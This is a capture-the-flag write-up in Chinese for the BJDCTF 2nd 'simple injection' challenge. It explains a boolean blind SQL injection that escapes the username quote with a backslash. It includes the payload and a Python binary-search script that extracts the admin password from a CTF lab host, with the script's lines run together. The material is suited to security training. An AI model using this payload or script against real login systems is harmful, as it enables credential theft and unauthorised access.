当前位置: 代码迷 >> 综合 >> [BJDCTF 2nd]简单注入 -wp
  详细解决方案

[BJDCTF 2nd]简单注入 -wp

热度:17   发布时间:2024-01-29 08:11:34.0

在这里插入图片描述
拿到题目,先扫一下目录
发现有robots.txt,里面提示了一个hint.txt。
在这里插入图片描述

select * from users where username='$_POST["username"]' and password='$_POST["password"]';

有一条后台查询语句
回到登入框处,尝试注入,发现加单双引号都被过滤
在这里插入图片描述
fuzz一下
在这里插入图片描述
长度为1414的都被过滤,包括select,and,=,等。
很明显联合注入用不了,报错注入无回显也不行。考虑盲注。
当username=admin&password=or 1#
时可引发盲注
在这里插入图片描述
有不同回显

select * from users where username='admin\' and password='or 1#';

这时的后台语句变成这样的,用反斜杠转义username后面那个单引号,所以username的第一个单引号只能与password的第一个单引号闭合,最后一个单引号被注释,所以or后面那块就可以由我们自由发挥了。
在这里因为限制比较多,直接查数据库里的表列内容比较难,我们可以直接查password的值。

username=admin\&password=or(ascii(substr(password,{},1))>0)#

时发现有不同回显,所以方法可行,使用脚本跑一下
附上本人的垃圾脚本:

import requestsurl='http://5359b7aa-506f-4bbc-a401-dde18a3754e9.node3.buuoj.cn'
flag=''for i in range(1, 30):high=128low=32mid=(high+low)//2while low<high:payload = "or(ascii(substr(password,{},1))>{})#".format(i, mid)data = {"username": "admin\\", "password": payload}re = requests.post(url, data=data)if "stronger" in re.text:low=mid+1else :high=midmid=(high+low)//2if (low == 32 or high == 128):breakflag += chr(mid)print(flag)

在这里插入图片描述
跑出密码后用admin登入即可获得flag

在这里插入图片描述